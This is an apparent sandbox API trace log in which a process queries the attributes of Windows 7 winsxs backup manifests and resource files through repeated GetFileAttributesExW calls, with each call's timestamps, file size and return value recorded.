	[0101.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_da24c6000f208238_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nb-no_da24c6000f208238_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d4a8 | out: lpFileInformation=0x1285d4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0f241c, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xfb7cfd68, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xfb7f5d51, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1
	[0101.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_d864113e104c8c0d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_d864113e104c8c0d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d4f8 | out: lpFileInformation=0x1285d4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9dd680, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x17e3f674, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x17e3f674, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_d864113e104c8c0d_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_d864113e104c8c0d_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d548 | out: lpFileInformation=0x1285d548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9dd680, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x17e6574b, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x17e6574b, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0101.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_1ea06bbff56ef9c1.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_1ea06bbff56ef9c1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d598 | out: lpFileInformation=0x1285d598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e306fde, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x9e991b3, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x9e991b3, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_1ea06bbff56ef9c1_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pl-pl_1ea06bbff56ef9c1_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d5e8 | out: lpFileInformation=0x1285d5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32d0b5, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x9ebf19c, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x9ee5185, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0101.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_20f45663f3f88da5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_20f45663f3f88da5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d638 | out: lpFileInformation=0x1285d638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de1f427, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeb5b79a5, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeb5dd98e, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_20f45663f3f88da5_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_20f45663f3f88da5_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d688 | out: lpFileInformation=0x1285d688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de1f427, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeb5dd98e, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeb5dd98e, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1
	[0101.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_21d625cff367fd81.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_21d625cff367fd81.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d6d8 | out: lpFileInformation=0x1285d6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e080197, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xfa166af9, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xfa18cae2, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_21d625cff367fd81_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_21d625cff367fd81_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d728 | out: lpFileInformation=0x1285d728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e080197, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xfa18cae2, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xfa18cae2, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1
	[0101.312] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_68793793d8498bad.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_68793793d8498bad.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d778 | out: lpFileInformation=0x1285d778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1d6926, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x69edb3, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x69edb3, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_68793793d8498bad_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_68793793d8498bad_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d7c8 | out: lpFileInformation=0x1285d7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1d6926, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x69edb3, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x6c4d9c, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0101.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_04742208cf729608.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_04742208cf729608.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d818 | out: lpFileInformation=0x1285d818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de916ac, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xec6c8f50, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xec714f22, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_04742208cf729608_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_04742208cf729608_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d868 | out: lpFileInformation=0x1285d868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de916ac, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xec714f22, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xec73af0b, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1
	[0101.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_ad816c4fbe2e97f9.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_ad816c4fbe2e97f9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d8b8 | out: lpFileInformation=0x1285d8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e51bba0, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xff4e93a, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xff4e93a, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_ad816c4fbe2e97f9_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_ad816c4fbe2e97f9_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d908 | out: lpFileInformation=0x1285d908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e51bba0, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xff4e93a, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xff74a11, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1
	[0101.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_7ede8a4d6e666a18.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_7ede8a4d6e666a18.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d958 | out: lpFileInformation=0x1285d958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a9af5, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc87acb75, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc87d2b5e, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_7ede8a4d6e666a18_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_7ede8a4d6e666a18_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285d9a8 | out: lpFileInformation=0x1285d9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a9af5, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc87d2b5e, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc87f8b47, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1
	[0101.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_7d8982db6f41dca8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_7d8982db6f41dca8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285d9f8 | out: lpFileInformation=0x1285d9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfe7e3b, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf622d13f, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf6253128, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_7d8982db6f41dca8_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_7d8982db6f41dca8_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285da48 | out: lpFileInformation=0x1285da48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfe7e3b, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf6253128, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf6279111, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1
	[0101.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_82dac7a36bd74688.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_82dac7a36bd74688.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285da98 | out: lpFileInformation=0x1285da98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9cfbcc, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc9178587, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc9178587, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1
	[0101.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_82dac7a36bd74688_bootmgr.exe.mui_c434701f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_82dac7a36bd74688_bootmgr.exe.mui_c434701f"), fInfoLevelId=0x0, lpFileInformation=0x1285dae8 | out: lpFileInformation=0x1285dae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9cfbcc, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc9178587, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc91ea542, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1
	[0101.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..d-bootfix.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f5f9d5f8c8d6c6f6.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..d-bootfix.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f5f9d5f8c8d6c6f6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285db38 | out: lpFileInformation=0x1285db38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebbeabe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa70238, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1aa70238, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x985)) returned 1
	[0101.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..d-bootfix.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f5f9d5f8c8d6c6f6_bootfix.bin_ee6f205e" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..d-bootfix.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f5f9d5f8c8d6c6f6_bootfix.bin_ee6f205e"), fInfoLevelId=0x0, lpFileInformation=0x1285db88 | out: lpFileInformation=0x1285db88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebbeabe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa70238, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1aa70238, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1
	[0101.314] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..endencies.resources_31bf3856ad364e35_6.1.7600.16385_en-us_aa95888350c61d70.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..endencies.resources_31bf3856ad364e35_6.1.7600.16385_en-us_aa95888350c61d70.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285dbd8 | out: lpFileInformation=0x1285dbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb7254c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a9b149b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a9b149b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c5)) returned 1
	[0101.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b6bfad83ec5fabc6.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b6bfad83ec5fabc6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285dc28 | out: lpFileInformation=0x1285dc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1edaee23, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae9ce74, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae9ce74, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f4)) returned 1
	[0101.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b6bfad83ec5fabc6_memtest.exe.mui_77b8cbcc" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b6bfad83ec5fabc6_memtest.exe.mui_77b8cbcc"), fInfoLevelId=0x0, lpFileInformation=0x1285dc78 | out: lpFileInformation=0x1285dc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1edaee23, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae9ce74, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae9ce74, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1
	[0101.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285dcc8 | out: lpFileInformation=0x1285dcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed628b1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae04390, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae04390, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe72)) returned 1
	[0101.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3_bootfix.bin_ee6f205e" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3_bootfix.bin_ee6f205e"), fInfoLevelId=0x0, lpFileInformation=0x1285dd18 | out: lpFileInformation=0x1285dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed628b1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae04390, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae04390, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1
	[0101.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3_expand.exe.mui_3f54e013" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3_expand.exe.mui_3f54e013"), fInfoLevelId=0x0, lpFileInformation=0x1285dd68 | out: lpFileInformation=0x1285dd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed628b1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae04390, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae04390, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
	[0101.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3_netmsg.dll.mui_ab0f7c73" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..isc-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e31d2d92828b5ec3_netmsg.dll.mui_ab0f7c73"), fInfoLevelId=0x0, lpFileInformation=0x1285ddb8 | out: lpFileInformation=0x1285ddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed628b1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae04390, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae04390, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00)) returned 1
	[0101.315] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-b..onment-dvd-etfsboot_31bf3856ad364e35_6.1.7600.16385_none_82523ed4cbbd035a.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-b..onment-dvd-etfsboot_31bf3856ad364e35_6.1.7600.16385_none_82523ed4cbbd035a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285de08 | out: lpFileInformation=0x1285de08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffd4970, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7ab79d34, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7ab79d34, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12)) returned 1
